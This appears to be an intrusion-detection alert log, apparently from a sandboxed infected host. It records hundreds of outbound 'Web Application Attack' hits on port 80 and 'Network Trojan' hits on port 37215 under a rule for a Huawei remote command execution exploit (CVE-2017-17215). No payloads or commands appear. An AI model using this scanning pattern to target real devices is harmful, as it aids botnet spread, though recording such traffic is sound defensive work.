2024-12-03T23:02:31.572470+0100	2029034	1	Web Application Attack	192.168.2.23	40906	1.99.148.152	80	TCP
2024-12-03T23:02:31.572575+0100	2029034	1	Web Application Attack	192.168.2.23	45718	108.245.0.47	80	TCP
2024-12-03T23:02:31.582000+0100	2029034	1	Web Application Attack	192.168.2.23	38958	57.17.247.48	80	TCP
2024-12-03T23:02:32.525542+0100	2029034	1	Web Application Attack	192.168.2.23	55664	220.202.214.73	80	TCP
2024-12-03T23:02:32.572282+0100	2029034	1	Web Application Attack	192.168.2.23	54930	119.229.42.43	80	TCP
2024-12-03T23:02:32.572286+0100	2029034	1	Web Application Attack	192.168.2.23	55488	135.106.99.29	80	TCP
2024-12-03T23:02:32.572379+0100	2029034	1	Web Application Attack	192.168.2.23	55326	208.23.123.184	80	TCP
2024-12-03T23:02:32.597376+0100	2029034	1	Web Application Attack	192.168.2.23	38294	142.129.100.223	80	TCP
2024-12-03T23:02:33.775493+0100	2029034	1	Web Application Attack	192.168.2.23	57452	122.238.169.224	80	TCP
2024-12-03T23:02:33.822326+0100	2029034	1	Web Application Attack	192.168.2.23	54742	192.24.226.137	80	TCP
2024-12-03T23:02:33.822495+0100	2029034	1	Web Application Attack	192.168.2.23	59844	189.161.132.89	80	TCP
2024-12-03T23:02:33.831582+0100	2029034	1	Web Application Attack	192.168.2.23	52202	160.86.170.88	80	TCP
2024-12-03T23:02:33.853654+0100	2029034	1	Web Application Attack	192.168.2.23	60772	116.227.243.100	80	TCP
2024-12-03T23:02:33.853756+0100	2029034	1	Web Application Attack	192.168.2.23	56470	41.247.11.234	80	TCP
2024-12-03T23:02:33.863286+0100	2029034	1	Web Application Attack	192.168.2.23	60118	132.193.129.166	80	TCP
2024-12-03T23:02:33.878990+0100	2029034	1	Web Application Attack	192.168.2.23	38302	124.201.144.167	80	TCP
2024-12-03T23:02:34.378502+0100	2029034	1	Web Application Attack	192.168.2.23	50118	200.139.81.248	80	TCP
2024-12-03T23:02:34.572522+0100	2029034	1	Web Application Attack	192.168.2.23	45764	223.11.137.171	80	TCP
2024-12-03T23:02:34.597296+0100	2029034	1	Web Application Attack	192.168.2.23	34366	36.153.54.81	80	TCP
2024-12-03T23:02:34.619255+0100	2029034	1	Web Application Attack	192.168.2.23	40222	109.68.30.221	80	TCP
2024-12-03T23:02:34.659817+0100	2029034	1	Web Application Attack	192.168.2.23	37602	213.155.78.70	80	TCP
2024-12-03T23:02:34.697319+0100	2029034	1	Web Application Attack	192.168.2.23	59712	199.223.119.72	80	TCP
2024-12-03T23:02:34.737894+0100	2029034	1	Web Application Attack	192.168.2.23	45488	8.198.96.28	80	TCP
2024-12-03T23:02:34.753587+0100	2029034	1	Web Application Attack	192.168.2.23	57878	194.143.31.121	80	TCP
2024-12-03T23:02:34.759780+0100	2029034	1	Web Application Attack	192.168.2.23	37404	192.154.89.217	80	TCP
2024-12-03T23:02:34.784641+0100	2029034	1	Web Application Attack	192.168.2.23	43066	92.12.118.18	80	TCP
2024-12-03T23:02:34.784709+0100	2029034	1	Web Application Attack	192.168.2.23	43424	32.96.106.136	80	TCP
2024-12-03T23:02:36.713026+0100	2029034	1	Web Application Attack	192.168.2.23	50250	53.255.254.109	80	TCP
2024-12-03T23:02:36.769162+0100	2029034	1	Web Application Attack	192.168.2.23	51242	186.15.37.181	80	TCP
2024-12-03T23:02:36.784639+0100	2029034	1	Web Application Attack	192.168.2.23	33076	171.30.84.229	80	TCP
2024-12-03T23:02:36.784869+0100	2029034	1	Web Application Attack	192.168.2.23	47324	92.241.207.76	80	TCP
2024-12-03T23:02:37.715321+0100	2029034	1	Web Application Attack	192.168.2.23	42274	134.252.61.173	80	TCP
2024-12-03T23:02:37.728895+0100	2029034	1	Web Application Attack	192.168.2.23	55588	206.186.8.234	80	TCP
2024-12-03T23:02:37.738068+0100	2029034	1	Web Application Attack	192.168.2.23	60842	208.224.38.78	80	TCP
2024-12-03T23:02:37.744298+0100	2029034	1	Web Application Attack	192.168.2.23	39316	83.137.66.101	80	TCP
2024-12-03T23:02:37.753608+0100	2029034	1	Web Application Attack	192.168.2.23	46152	198.131.70.48	80	TCP
2024-12-03T23:02:37.759977+0100	2029034	1	Web Application Attack	192.168.2.23	44760	209.93.163.206	80	TCP
2024-12-03T23:02:37.785167+0100	2029034	1	Web Application Attack	192.168.2.23	34242	107.129.75.37	80	TCP
2024-12-03T23:02:37.785244+0100	2029034	1	Web Application Attack	192.168.2.23	36426	35.143.212.215	80	TCP
2024-12-03T23:02:37.996715+0100	2029034	1	Web Application Attack	192.168.2.23	46146	47.59.50.229	80	TCP
2024-12-03T23:02:37.996748+0100	2029034	1	Web Application Attack	192.168.2.23	45498	62.50.206.217	80	TCP
2024-12-03T23:02:38.019809+0100	2029034	1	Web Application Attack	192.168.2.23	53688	108.93.80.70	80	TCP
2024-12-03T23:02:38.039566+0100	2029034	1	Web Application Attack	192.168.2.23	55890	183.70.114.239	80	TCP
2024-12-03T23:02:38.039578+0100	2029034	1	Web Application Attack	192.168.2.23	42336	93.116.139.178	80	TCP
2024-12-03T23:02:38.039731+0100	2029034	1	Web Application Attack	192.168.2.23	33172	204.76.204.180	80	TCP
2024-12-03T23:02:38.039977+0100	2029034	1	Web Application Attack	192.168.2.23	43834	95.149.63.191	80	TCP
2024-12-03T23:02:38.066085+0100	2029034	1	Web Application Attack	192.168.2.23	52426	172.71.214.205	80	TCP
2024-12-03T23:02:38.066113+0100	2029034	1	Web Application Attack	192.168.2.23	37072	155.142.246.165	80	TCP
2024-12-03T23:02:38.925763+0100	2029034	1	Web Application Attack	192.168.2.23	38416	194.168.226.89	80	TCP
2024-12-03T23:02:38.963145+0100	2029034	1	Web Application Attack	192.168.2.23	48560	204.156.164.165	80	TCP
2024-12-03T23:02:38.994200+0100	2029034	1	Web Application Attack	192.168.2.23	44952	52.68.103.154	80	TCP
2024-12-03T23:02:39.038909+0100	2029034	1	Web Application Attack	192.168.2.23	40238	111.96.61.22	80	TCP
2024-12-03T23:02:39.038917+0100	2029034	1	Web Application Attack	192.168.2.23	52838	59.255.82.255	80	TCP
2024-12-03T23:02:39.039532+0100	2029034	1	Web Application Attack	192.168.2.23	55106	23.135.240.39	80	TCP
2024-12-03T23:02:39.039660+0100	2029034	1	Web Application Attack	192.168.2.23	56450	46.115.240.145	80	TCP
2024-12-03T23:02:39.050460+0100	2029034	1	Web Application Attack	192.168.2.23	50870	132.101.84.210	80	TCP
2024-12-03T23:02:39.259989+0100	2029034	1	Web Application Attack	192.168.2.23	42040	1.113.249.76	80	TCP
2024-12-03T23:02:39.275598+0100	2029034	1	Web Application Attack	192.168.2.23	43096	74.177.48.208	80	TCP
2024-12-03T23:02:39.275718+0100	2029034	1	Web Application Attack	192.168.2.23	42442	132.139.194.86	80	TCP
2024-12-03T23:02:39.300461+0100	2029034	1	Web Application Attack	192.168.2.23	58548	72.43.128.10	80	TCP
2024-12-03T23:02:39.306792+0100	2029034	1	Web Application Attack	192.168.2.23	33134	179.23.54.39	80	TCP
2024-12-03T23:02:39.322548+0100	2029034	1	Web Application Attack	192.168.2.23	57678	169.180.238.202	80	TCP
2024-12-03T23:02:39.916255+0100	2029034	1	Web Application Attack	192.168.2.23	52680	175.207.149.206	80	TCP
2024-12-03T23:02:40.869201+0100	2029034	1	Web Application Attack	192.168.2.23	44164	186.64.229.65	80	TCP
2024-12-03T23:02:40.869492+0100	2029034	1	Web Application Attack	192.168.2.23	52436	199.4.164.184	80	TCP
2024-12-03T23:02:40.885189+0100	2029034	1	Web Application Attack	192.168.2.23	52668	204.153.221.222	80	TCP
2024-12-03T23:02:40.900611+0100	2029034	1	Web Application Attack	192.168.2.23	42066	175.105.152.86	80	TCP
2024-12-03T23:02:40.916304+0100	2029034	1	Web Application Attack	192.168.2.23	38798	54.118.162.67	80	TCP
2024-12-03T23:02:40.916499+0100	2029034	1	Web Application Attack	192.168.2.23	51902	65.153.227.27	80	TCP
2024-12-03T23:02:40.925727+0100	2029034	1	Web Application Attack	192.168.2.23	47714	60.162.227.15	80	TCP
2024-12-03T23:02:40.931784+0100	2029034	1	Web Application Attack	192.168.2.23	52596	96.60.65.15	80	TCP
2024-12-03T23:02:40.941187+0100	2029034	1	Web Application Attack	192.168.2.23	53416	139.28.65.252	80	TCP
2024-12-03T23:02:40.947384+0100	2029034	1	Web Application Attack	192.168.2.23	44546	168.79.83.94	80	TCP
2024-12-03T23:02:40.956644+0100	2029034	1	Web Application Attack	192.168.2.23	55292	187.105.157.125	80	TCP
2024-12-03T23:02:40.994960+0100	2029034	1	Web Application Attack	192.168.2.23	59824	190.124.82.41	80	TCP
2024-12-03T23:02:40.994974+0100	2029034	1	Web Application Attack	192.168.2.23	59264	155.116.200.243	80	TCP
2024-12-03T23:02:40.994998+0100	2029034	1	Web Application Attack	192.168.2.23	50888	145.61.154.119	80	TCP
2024-12-03T23:02:41.010311+0100	2029034	1	Web Application Attack	192.168.2.23	49910	80.19.155.190	80	TCP
2024-12-03T23:02:41.019260+0100	2029034	1	Web Application Attack	192.168.2.23	42154	169.124.154.32	80	TCP
2024-12-03T23:02:41.040804+0100	2029034	1	Web Application Attack	192.168.2.23	43248	65.73.110.209	80	TCP
2024-12-03T23:02:41.040827+0100	2029034	1	Web Application Attack	192.168.2.23	47998	57.184.39.239	80	TCP
2024-12-03T23:02:41.040843+0100	2029034	1	Web Application Attack	192.168.2.23	46558	211.3.38.0	80	TCP
2024-12-03T23:02:41.042939+0100	2029034	1	Web Application Attack	192.168.2.23	45146	42.155.200.20	80	TCP
2024-12-03T23:02:41.275655+0100	2029034	1	Web Application Attack	192.168.2.23	38428	129.243.89.2	80	TCP
2024-12-03T23:02:41.363308+0100	2029034	1	Web Application Attack	192.168.2.23	41348	189.55.146.220	80	TCP
2024-12-03T23:02:42.394409+0100	2029034	1	Web Application Attack	192.168.2.23	51106	39.172.92.98	80	TCP
2024-12-03T23:02:42.432100+0100	2029034	1	Web Application Attack	192.168.2.23	50440	174.205.199.195	80	TCP
2024-12-03T23:02:42.432244+0100	2029034	1	Web Application Attack	192.168.2.23	47812	44.133.115.193	80	TCP
2024-12-03T23:02:42.432314+0100	2029034	1	Web Application Attack	192.168.2.23	60986	47.69.60.56	80	TCP
2024-12-03T23:02:42.456933+0100	2029034	1	Web Application Attack	192.168.2.23	50248	105.181.157.118	80	TCP
2024-12-03T23:02:42.463402+0100	2029034	1	Web Application Attack	192.168.2.23	35546	112.153.77.29	80	TCP
2024-12-03T23:02:42.473423+0100	2029034	1	Web Application Attack	192.168.2.23	50222	223.221.42.150	80	TCP
2024-12-03T23:02:42.487652+0100	2029034	1	Web Application Attack	192.168.2.23	59058	50.72.83.55	80	TCP
2024-12-03T23:02:42.494593+0100	2029034	1	Web Application Attack	192.168.2.23	36820	132.68.104.254	80	TCP
2024-12-03T23:02:42.503616+0100	2029034	1	Web Application Attack	192.168.2.23	47990	92.67.145.75	80	TCP
2024-12-03T23:02:42.519267+0100	2029034	1	Web Application Attack	192.168.2.23	55890	170.143.90.165	80	TCP
2024-12-03T23:02:42.519501+0100	2029034	1	Web Application Attack	192.168.2.23	34506	93.138.26.69	80	TCP
2024-12-03T23:02:45.244681+0100	2029034	1	Web Application Attack	192.168.2.23	34180	24.135.171.22	80	TCP
2024-12-03T23:02:45.363662+0100	2029034	1	Web Application Attack	192.168.2.23	53140	51.205.82.213	80	TCP
2024-12-03T23:02:46.166588+0100	2029034	1	Web Application Attack	192.168.2.23	45734	221.112.221.185	80	TCP
2024-12-03T23:02:46.182346+0100	2029034	1	Web Application Attack	192.168.2.23	39318	150.77.11.31	80	TCP
2024-12-03T23:02:46.182353+0100	2029034	1	Web Application Attack	192.168.2.23	60260	218.156.44.131	80	TCP
2024-12-03T23:02:46.182458+0100	2029034	1	Web Application Attack	192.168.2.23	48638	5.170.20.82	80	TCP
2024-12-03T23:02:46.182636+0100	2029034	1	Web Application Attack	192.168.2.23	49036	195.23.137.128	80	TCP
2024-12-03T23:02:46.182806+0100	2029034	1	Web Application Attack	192.168.2.23	36354	5.197.2.57	80	TCP
2024-12-03T23:02:46.197668+0100	2029034	1	Web Application Attack	192.168.2.23	49076	171.114.61.171	80	TCP
2024-12-03T23:02:46.198162+0100	2029034	1	Web Application Attack	192.168.2.23	55606	187.63.41.175	80	TCP
2024-12-03T23:02:46.198219+0100	2029034	1	Web Application Attack	192.168.2.23	45856	180.176.144.194	80	TCP
2024-12-03T23:02:46.229074+0100	2029034	1	Web Application Attack	192.168.2.23	36796	50.132.187.194	80	TCP
2024-12-03T23:02:46.229163+0100	2029034	1	Web Application Attack	192.168.2.23	40416	39.50.202.106	80	TCP
2024-12-03T23:02:46.238469+0100	2029034	1	Web Application Attack	192.168.2.23	37046	119.65.57.177	80	TCP
2024-12-03T23:02:46.238582+0100	2029034	1	Web Application Attack	192.168.2.23	33688	80.230.160.123	80	TCP
2024-12-03T23:02:46.238653+0100	2029034	1	Web Application Attack	192.168.2.23	40516	122.193.77.236	80	TCP
2024-12-03T23:02:46.238834+0100	2029034	1	Web Application Attack	192.168.2.23	52144	98.124.81.226	80	TCP
2024-12-03T23:02:46.244529+0100	2029034	1	Web Application Attack	192.168.2.23	34840	68.151.41.220	80	TCP
2024-12-03T23:02:46.244613+0100	2029034	1	Web Application Attack	192.168.2.23	60268	168.193.104.173	80	TCP
2024-12-03T23:02:46.244707+0100	2029034	1	Web Application Attack	192.168.2.23	56798	104.163.127.221	80	TCP
2024-12-03T23:02:46.244939+0100	2029034	1	Web Application Attack	192.168.2.23	37478	20.8.82.252	80	TCP
2024-12-03T23:02:46.253642+0100	2029034	1	Web Application Attack	192.168.2.23	42796	14.210.195.118	80	TCP
2024-12-03T23:02:46.253818+0100	2029034	1	Web Application Attack	192.168.2.23	59238	181.220.26.32	80	TCP
2024-12-03T23:02:46.253879+0100	2029034	1	Web Application Attack	192.168.2.23	47670	1.3.136.201	80	TCP
2024-12-03T23:02:46.254131+0100	2029034	1	Web Application Attack	192.168.2.23	45134	161.233.72.255	80	TCP
2024-12-03T23:02:46.254255+0100	2029034	1	Web Application Attack	192.168.2.23	36474	204.240.163.135	80	TCP
2024-12-03T23:02:46.254345+0100	2029034	1	Web Application Attack	192.168.2.23	59416	165.11.16.72	80	TCP
2024-12-03T23:02:46.254406+0100	2029034	1	Web Application Attack	192.168.2.23	39458	12.132.132.232	80	TCP
2024-12-03T23:02:46.254497+0100	2029034	1	Web Application Attack	192.168.2.23	33752	200.159.220.23	80	TCP
2024-12-03T23:02:46.254648+0100	2029034	1	Web Application Attack	192.168.2.23	35672	25.127.18.49	80	TCP
2024-12-03T23:02:46.254767+0100	2029034	1	Web Application Attack	192.168.2.23	38090	113.46.88.240	80	TCP
2024-12-03T23:02:46.285090+0100	2029034	1	Web Application Attack	192.168.2.23	49592	130.68.95.125	80	TCP
2024-12-03T23:02:46.285237+0100	2029034	1	Web Application Attack	192.168.2.23	42934	131.29.112.216	80	TCP
2024-12-03T23:02:47.260229+0100	2029034	1	Web Application Attack	192.168.2.23	60668	210.51.145.27	80	TCP
2024-12-03T23:02:47.275850+0100	2029034	1	Web Application Attack	192.168.2.23	45438	149.64.159.201	80	TCP
2024-12-03T23:02:47.291294+0100	2029034	1	Web Application Attack	192.168.2.23	41586	99.199.126.175	80	TCP
2024-12-03T23:02:47.322918+0100	2029034	1	Web Application Attack	192.168.2.23	50106	59.191.121.49	80	TCP
2024-12-03T23:02:47.331990+0100	2029034	1	Web Application Attack	192.168.2.23	33984	93.251.103.37	80	TCP
2024-12-03T23:02:47.332135+0100	2029034	1	Web Application Attack	192.168.2.23	43590	66.238.208.22	80	TCP
2024-12-03T23:02:47.332183+0100	2029034	1	Web Application Attack	192.168.2.23	53098	201.80.204.171	80	TCP
2024-12-03T23:02:47.347821+0100	2029034	1	Web Application Attack	192.168.2.23	46072	188.77.166.65	80	TCP
2024-12-03T23:02:47.347923+0100	2029034	1	Web Application Attack	192.168.2.23	41476	198.92.160.229	80	TCP
2024-12-03T23:02:47.488300+0100	2029034	1	Web Application Attack	192.168.2.23	38320	160.20.120.8	80	TCP
2024-12-03T23:02:48.354833+0100	2029034	1	Web Application Attack	192.168.2.23	33278	87.158.2.238	80	TCP
2024-12-03T23:02:48.378871+0100	2029034	1	Web Application Attack	192.168.2.23	38772	45.124.116.58	80	TCP
2024-12-03T23:02:48.394237+0100	2029034	1	Web Application Attack	192.168.2.23	53172	99.159.215.103	80	TCP
2024-12-03T23:02:48.410304+0100	2029034	1	Web Application Attack	192.168.2.23	51628	192.222.27.101	80	TCP
2024-12-03T23:02:48.441784+0100	2029034	1	Web Application Attack	192.168.2.23	34526	89.150.199.164	80	TCP
2024-12-03T23:02:48.603839+0100	2029034	1	Web Application Attack	192.168.2.23	50074	104.166.6.132	80	TCP
2024-12-03T23:02:48.644515+0100	2029034	1	Web Application Attack	192.168.2.23	38738	92.192.221.139	80	TCP
2024-12-03T23:02:48.650915+0100	2029034	1	Web Application Attack	192.168.2.23	43768	163.251.100.28	80	TCP
2024-12-03T23:02:48.650958+0100	2029034	1	Web Application Attack	192.168.2.23	47616	60.191.55.28	80	TCP
2024-12-03T23:02:48.660213+0100	2029034	1	Web Application Attack	192.168.2.23	45346	2.74.167.133	80	TCP
2024-12-03T23:02:48.660343+0100	2029034	1	Web Application Attack	192.168.2.23	55370	93.231.170.133	80	TCP
2024-12-03T23:02:51.819085+0100	2029034	1	Web Application Attack	192.168.2.23	49838	186.65.123.236	80	TCP
2024-12-03T23:02:52.550818+0100	2029034	1	Web Application Attack	192.168.2.23	41308	66.253.65.118	80	TCP
2024-12-03T23:02:52.582032+0100	2029034	1	Web Application Attack	192.168.2.23	51992	174.66.171.122	80	TCP
2024-12-03T23:02:52.651815+0100	2029034	1	Web Application Attack	192.168.2.23	44550	184.137.226.70	80	TCP
2024-12-03T23:02:52.660153+0100	2029034	1	Web Application Attack	192.168.2.23	56650	210.204.159.192	80	TCP
2024-12-03T23:02:52.669465+0100	2029034	1	Web Application Attack	192.168.2.23	48394	223.73.112.210	80	TCP
2024-12-03T23:02:52.676399+0100	2029034	1	Web Application Attack	192.168.2.23	34166	73.77.117.57	80	TCP
2024-12-03T23:02:52.676627+0100	2029034	1	Web Application Attack	192.168.2.23	56028	173.14.136.45	80	TCP
2024-12-03T23:02:52.676697+0100	2029034	1	Web Application Attack	192.168.2.23	43784	181.201.168.38	80	TCP
2024-12-03T23:02:52.676697+0100	2029034	1	Web Application Attack	192.168.2.23	52960	116.23.243.3	80	TCP
2024-12-03T23:02:52.707091+0100	2029034	1	Web Application Attack	192.168.2.23	35832	43.202.19.50	80	TCP
2024-12-03T23:02:52.707148+0100	2029034	1	Web Application Attack	192.168.2.23	52352	133.66.233.48	80	TCP
2024-12-03T23:02:53.119331+0100	2029034	1	Web Application Attack	192.168.2.23	56432	20.235.150.224	80	TCP

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T23:02:14.696795+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57020	156.61.209.114	37215	TCP
2024-12-03T23:02:14.697128+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57306	156.110.162.239	37215	TCP
2024-12-03T23:02:14.697188+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46368	197.41.187.197	37215	TCP
2024-12-03T23:02:14.697219+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45100	156.28.189.147	37215	TCP
2024-12-03T23:02:14.697303+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41374	41.186.242.231	37215	TCP
2024-12-03T23:02:14.712659+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43962	41.128.193.69	37215	TCP
2024-12-03T23:02:14.712659+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59700	41.9.223.148	37215	TCP
2024-12-03T23:02:14.712664+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41410	156.67.96.70	37215	TCP
2024-12-03T23:02:14.712928+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52456	197.123.236.32	37215	TCP
2024-12-03T23:02:14.713054+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49108	156.75.54.186	37215	TCP
2024-12-03T23:02:14.721752+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42846	156.158.172.243	37215	TCP
2024-12-03T23:02:14.721862+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41272	41.56.205.34	37215	TCP
2024-12-03T23:02:14.728162+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44818	197.179.146.198	37215	TCP
2024-12-03T23:02:14.728291+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52114	41.185.84.32	37215	TCP
2024-12-03T23:02:14.728422+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47630	156.44.235.16	37215	TCP
2024-12-03T23:02:14.728692+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49474	156.114.247.128	37215	TCP
2024-12-03T23:02:14.737328+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52016	197.195.206.136	37215	TCP
2024-12-03T23:02:14.737412+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58514	197.112.141.250	37215	TCP
2024-12-03T23:02:14.737537+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50588	156.23.144.81	37215	TCP
2024-12-03T23:02:14.737616+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48106	197.158.151.68	37215	TCP
2024-12-03T23:02:14.743721+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42668	41.51.237.63	37215	TCP
2024-12-03T23:02:14.743837+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37384	197.59.205.72	37215	TCP
2024-12-03T23:02:14.743911+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60860	197.201.203.200	37215	TCP
2024-12-03T23:02:14.744012+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43964	197.3.154.235	37215	TCP
2024-12-03T23:02:14.744145+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48344	197.123.157.24	37215	TCP
2024-12-03T23:02:14.744259+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48890	197.213.139.45	37215	TCP
2024-12-03T23:02:14.744364+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45800	156.146.0.173	37215	TCP
2024-12-03T23:02:14.744591+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35196	156.30.14.110	37215	TCP
2024-12-03T23:02:14.752999+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34620	197.69.230.169	37215	TCP
2024-12-03T23:02:14.753114+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43268	156.134.142.216	37215	TCP
2024-12-03T23:02:14.753312+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48340	41.182.228.106	37215	TCP
2024-12-03T23:02:14.759285+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55288	197.79.233.80	37215	TCP
2024-12-03T23:02:14.759396+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45280	156.76.37.56	37215	TCP
2024-12-03T23:02:14.759491+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53726	197.167.188.184	37215	TCP
2024-12-03T23:02:14.759612+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59634	156.205.236.9	37215	TCP
2024-12-03T23:02:14.768666+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38152	156.64.119.227	37215	TCP
2024-12-03T23:02:14.768846+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45944	41.89.254.96	37215	TCP
2024-12-03T23:02:14.768958+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54428	41.153.210.0	37215	TCP
2024-12-03T23:02:14.769167+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38648	197.235.235.154	37215	TCP
2024-12-03T23:02:14.769285+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46464	41.155.219.178	37215	TCP
2024-12-03T23:02:14.769344+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56880	197.163.246.243	37215	TCP
2024-12-03T23:02:14.769450+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40346	197.169.178.55	37215	TCP
2024-12-03T23:02:14.769544+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49302	197.161.10.65	37215	TCP
2024-12-03T23:02:14.769609+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49966	156.180.14.86	37215	TCP
2024-12-03T23:02:14.769726+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38762	41.8.68.180	37215	TCP
2024-12-03T23:02:14.769784+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42426	156.92.88.230	37215	TCP
2024-12-03T23:02:14.786263+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50946	41.237.37.216	37215	TCP
2024-12-03T23:02:14.786399+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40266	156.155.195.253	37215	TCP
2024-12-03T23:02:14.786501+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47254	41.29.72.16	37215	TCP
2024-12-03T23:02:14.786642+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39598	41.164.73.85	37215	TCP
2024-12-03T23:02:14.786783+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60072	41.102.141.16	37215	TCP
2024-12-03T23:02:14.786901+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34966	41.38.16.103	37215	TCP
2024-12-03T23:02:14.787027+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43080	41.235.143.156	37215	TCP
2024-12-03T23:02:14.787141+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37894	197.57.152.227	37215	TCP
2024-12-03T23:02:14.787282+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35620	156.29.58.55	37215	TCP
2024-12-03T23:02:14.787399+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51570	156.31.133.222	37215	TCP
2024-12-03T23:02:14.787568+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38496	41.29.43.123	37215	TCP
2024-12-03T23:02:14.791740+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39612	197.17.133.49	37215	TCP
2024-12-03T23:02:14.792085+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40626	41.42.112.90	37215	TCP
2024-12-03T23:02:14.792335+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54440	197.25.2.28	37215	TCP
2024-12-03T23:02:14.792612+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53770	197.95.113.211	37215	TCP
2024-12-03T23:02:14.792807+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39254	197.122.183.130	37215	TCP
2024-12-03T23:02:14.793140+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35976	197.220.67.112	37215	TCP
2024-12-03T23:02:16.559536+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57354	156.96.122.224	37215	TCP
2024-12-03T23:02:16.697217+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36916	197.198.188.20	37215	TCP
2024-12-03T23:02:16.909303+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43294	156.208.58.152	37215	TCP
2024-12-03T23:02:16.915546+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45290	156.85.239.222	37215	TCP
2024-12-03T23:02:16.931214+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41656	41.204.44.51	37215	TCP
2024-12-03T23:02:16.931689+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33942	41.243.122.209	37215	TCP
2024-12-03T23:02:16.946830+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58952	197.213.172.174	37215	TCP
2024-12-03T23:02:16.946977+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39884	41.223.100.164	37215	TCP
2024-12-03T23:02:16.947073+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58152	156.177.86.195	37215	TCP
2024-12-03T23:02:16.947195+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45240	41.34.236.132	37215	TCP
2024-12-03T23:02:16.956041+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60102	156.199.249.209	37215	TCP
2024-12-03T23:02:16.960300+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41356	197.7.151.132	37215	TCP
2024-12-03T23:02:16.987336+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55660	197.174.22.109	37215	TCP
2024-12-03T23:02:16.987460+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33060	156.191.133.121	37215	TCP
2024-12-03T23:02:16.987560+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53180	156.1.156.161	37215	TCP
2024-12-03T23:02:17.038096+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41106	197.32.245.136	37215	TCP
2024-12-03T23:02:17.282056+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44888	197.232.54.243	37215	TCP
2024-12-03T23:02:17.310407+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57092	197.218.205.133	37215	TCP
2024-12-03T23:02:18.044631+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54064	197.191.214.20	37215	TCP
2024-12-03T23:02:18.244118+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56764	156.191.36.93	37215	TCP
2024-12-03T23:02:18.244288+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56596	197.175.190.91	37215	TCP
2024-12-03T23:02:18.275583+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60630	41.206.186.43	37215	TCP
2024-12-03T23:02:18.275706+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57656	156.207.68.217	37215	TCP
2024-12-03T23:02:18.275819+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60342	156.64.9.169	37215	TCP
